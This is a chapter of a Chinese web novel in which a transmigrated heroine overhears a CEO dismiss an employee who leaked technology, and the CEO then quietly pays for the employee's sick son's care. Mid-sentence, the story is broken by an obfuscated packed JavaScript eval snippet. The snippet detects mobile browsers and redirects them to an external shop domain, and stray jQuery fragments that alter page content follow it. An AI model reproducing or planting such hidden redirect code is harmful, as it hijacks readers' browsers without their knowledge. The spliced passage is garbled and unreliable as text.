司月暄这一觉睡到天色擦黑,醒来看见陌生环境,愣了好一会儿才反应过来是在顾司珩办公室。
“你要不要看看你的睡姿。”团子幽幽的声音响起。
睡姿?
司月暄随意地捋了一把睡得更加凌乱的头发,丝毫不在意此刻的形象。
“我睡姿一向很……”好。
话未说话,她看到团子怼到脸前的手机,里面正是她睡着之后的样子。
她的睡姿确实很好,只是没有睡在床中央,整个人斜成一条对角线。
团子哼哼:“这叫很好吗?”
司月暄没好气地翻个白眼,反问它:“我是不是双手规规矩矩地放在小腹,仰躺,只是睡得有点斜而已,这就叫睡姿不好?”
“顾司珩都没说什么,我又不和你一起睡,你管我什么睡姿。”
团子脸憋得通红,只不过因为脸太黑,不明显。
它也不想管,这不是没有别的借口了。
眼见她就要起床往外面走,团子急得直揪胡子。
它飞身挡在司月暄面前,双手叉腰,上上下下打量她一番,又开始一副过来人的语气,语重心长劝道:“你这头发太乱了,虽说你现在只把帝君当作治病的药,但他毕竟是个男人,还是个长得很好看的男人,你好歹注意一下自己的形象。”
不对劲,很不对劲。
司月暄眼睛微眯,看它眼神左右乱晃,直觉它有事瞒着她,像是在故意找话题拖延时间,不让她出去。
她索性坐回床上,双手抱胸似笑非笑地看着团子。
团子被她看得越来越心虚。
“团啊,你是不是有事瞒着我?我怎么觉得你是在故意找话题不让我出去。”
“怎么,外面有我不能见的人?”
团子一边摆手一边疯狂摇头,想到什么,又点点头,然后又摇摇头。
司月暄看得眼晕,抬手制止它。
好奇心被勾起,她果断下床,轻手轻脚地往休息室门口挪动。
顾司珩的办公室装修虽然和常规霸总不太一样,但也有一样的,那就是隔音很好。
她小心翼翼地转动门把手,将门拉开一个缝隙,蹲在地上往门外看。
没有看见可疑女人,只有一个穿着西装佝偻着身子的中年男人。
角度原因,司月暄只能看到他的侧脸,不过从声音就能听出,中年男人此刻情绪并不稳定。
“顾总,您再给我一次机会,这次真的是因为我急需用钱,才鬼迷心窍受了他们的蛊惑,将核心技术交给他们,我真的需要钱,我儿子才十岁,他还那么小,我不能眼睁睁看他去死。顾总,您再给我一次,求求你不要报警,我不想我儿子有一个坐过牢的父亲。”
中宸集团业务涵盖综合能源、医药、金融、科技等几大板块。中宸科技即将上市的一款手机,中年男人正是此次项目的负责人。
恒昇科技作为中宸的竞争对手,知道中年男人儿子生病住院,许以重利,以得到中宸的核心技术。
中年男人走投无路,想到躺在病床上的儿子,为了儿子的命,只能铤而走险答应对方。
如今事情败露,他也只担心儿子,如果他被抓了,没有收入来源,儿子高昂的医药费无人承担,这个可能他连想都不敢想。
中年男人想到这里,声音越发恳切。
“我在公司十年,一直任劳任怨,即便没有功劳也有苦劳,顾总,我真的知道错了,我求求您再给我一次机会。”
听着中年男人车轱辘似的话,顾似珩表情未变,明亮的灯光落在他身上,周身气场温和。
“你有不得已的苦衷,但核心技术泄密,很多人耗费三年的心血为别人做了嫁衣,还有公司的损失,都无法挽回。”
他的声音也很温和,语调慢条斯理,然而他说出的话却让中年男人心直接坠入谷底。
“况且,你能出卖公司一次,难免会有第二次,我不会冒这么大的风险将你留在公司,我是一个商人,不是慈善家,没有那么多的慈悲心。”
中年男人神色焦急地上前两步,想要继续求情。
顾司珩抬手打断:“我已经报警,警察已经在赶来的路上。”
中年男人听到警察两个字,知道已经无力挽回,一瞬间,他像是被抽干所有精气神,踉跄两步跌倒在地上。
事情发展至今,他唯一担心的就是还在病床上的孩子。
一念之差,害人害己。是他没用,是他对不起孩子。
站在旁边充当隐形人的李渊上前两步,伸手扶起中年男人。
“王工,这边请。”
司月暄听到这里,眼睛微微睁大,姓王,总觉得这个姓氏好像在小说里出现过。
团子看到这,趴在司月暄耳边小声惊呼。
“没想到帝君历劫,都变得善良了。想当初,帝君在天界时,只因为清玄帝君摸了一下他的剑穗,就被他飞起一脚……”
要不是怕她看见帝君的凶残手段,会产生心理阴影,它刚刚才不会想着阻止她出来。
司月暄视线一直紧紧盯着佝偻着身子的中年男人,忙着回忆剧情,任凭它在耳边小声叭叭,也不理它。
团子见状,委屈道:“暄暄,你怎么不理我?”
“别说话,打扰我思考。”
目送两人离去,顾司珩捏捏眉心,视线转到开了一条缝的休息室门上,隔着缝隙,和司月暄目光对上。
偷听被发现,司月暄没有丝毫不好意思,她维持着蹲在地上的地上,抬起胳膊挥挥手给他打招呼。
打完招呼,她直起身,蹲的时间太久,又起得太猛,眼前直接一黑。
身形微晃,胳膊被温热的大掌覆住,紧接着,男人低沉的嗓音在耳边响起:“没事吧。”
“没事,就是起太猛了。”
她闭着眼,缓了一会儿,眼前的晕眩散去。
顾司珩带着她到外面的沙发上坐下:“饿了吗?稍等一会儿,等我处理完事情,再带你去吃饭。”
“桌上有下午给你买的蛋糕,你先吃点垫垫。”
“不用担心,我还不饿。”司月暄打量着他的神色,见他眉宇间带着疲惫,她关心道:“事情很严重吗?”
顾司珩知道她都听见,也没想骗她,温声道:“有一点,但还可以挽回,只是要费时很多,原定的上市时间要推迟了。”
司月暄点点头,也不再说什么。
顾司珩看着温和,但年纪轻轻就能坐稳集团CEO的位置,经历过的尔虞我诈不会少,手腕有,商人的凉薄也有,这种事情不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700161|208129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会给他造成很大的困扰。
目前她最担心的是这个中年男人,是否就是在小说后期,酒后驾驶造成顾司珩意外死亡的那个人。
李渊将中年男人交给门口保镖,又很快折返回来。
他没有时间同情他人的遭遇,还有很多善后工作要处理,设计部研发部更是直接忙到起飞。
他脑中想着查到的关于中年男人的资料,思索着解决问题的方案。
听见会客区那边传来说话的声音,他脚步一拐,待看见沙发上坐在顾总身边,穿着简单宽松白色短袖,头发凌乱,气质温婉的陌生女子,高速运转的大脑宕机一秒。
想到今天听秘书室的人说,顾总女朋友上午来到以后,就一直在顾总办公室没有出来。
他瞬间明了女生的身份。
司月暄也注意到来人,知道顾司珩有事情处理,她伸手拿起茶几上的蛋糕,挖了一大勺塞进嘴里,一边吃一边听两人交流,丝毫没有回避的想法。
如果两人互相防备,也没有结婚的必要了。显然,顾司珩和她想法一样。
听着两人讨论关于项目的事情,司月暄兴致缺缺。
她在原来世界学的是土木工程,毕业后被公司领导一通忽悠,用大饼吊着就激情满满地去了工地。
年轻时总觉得受领导器重,一定不能辜负领导的期待,连背锅都乐滋滋的。
后来工作时间一长,脑子对领导PUA免疫,才发现以前纯纯是个大傻子,被人卖了还乐呵呵地帮人数钱,现在回想起来都脚趾扣地。
她脚趾蜷缩两下,不再想以前干的傻事,开始用叉子慢慢戳着蛋糕上面的兔子屁屁。
两人关于项目的事情聊完,开始说起中年男人儿子的事。
李渊想到查到的内容,心情难免有些沉重。
“他儿子目前在市一院,是一种极为罕见的病症,有特效药,但特效药费用高昂,王正阳的收入虽然可观,但还是无法负担特效药的费用。而他们家的收入来源只有王正阳一人,他夫人不上班,全职带孩子,父母都是农村,收入不高。”
可以说,如果中年男人也就是王正阳入狱,他们家也就彻底失去收入来源,等待他儿子的结果就是……
正在戳兔子的司月暄手中动作顿住,眼睛微睁,王正阳……
还真是小说后期被男女主挑唆,以为儿子被顾司珩害死,酒后驾驶造成顾司珩意外死亡的人。
办公室内陷入短暂的寂静,顾司珩沉吟片刻。
“他儿子后续治疗的医药费,以公司的名义,从我私账走。”
司月暄眼眸微睁,她抬眸看向顾司珩。顾司珩察觉她的目光,余光瞥见被戳掉一半屁股的兔子蛋糕,以为她是无聊了,骨节分明的手掌很自然地拉过她手,手指轻捏她的指腹,安抚着她的情绪。
男人掌心温热,如同他这个人温和的表象一样。司月暄眨巴眨巴眼睛,她要收回前面吐槽他商人凉薄的话。
这明明是一位根正苗红的好青年。
想到恒昇科技的幕后大股东,她内心哼哼两声,对着顾司珩表情认真又严肃。
“放心,明天我就找人将恒昇科技幕后大股东套麻袋揍一顿,给你出出气。”
顾司珩:“……”
李渊:“……”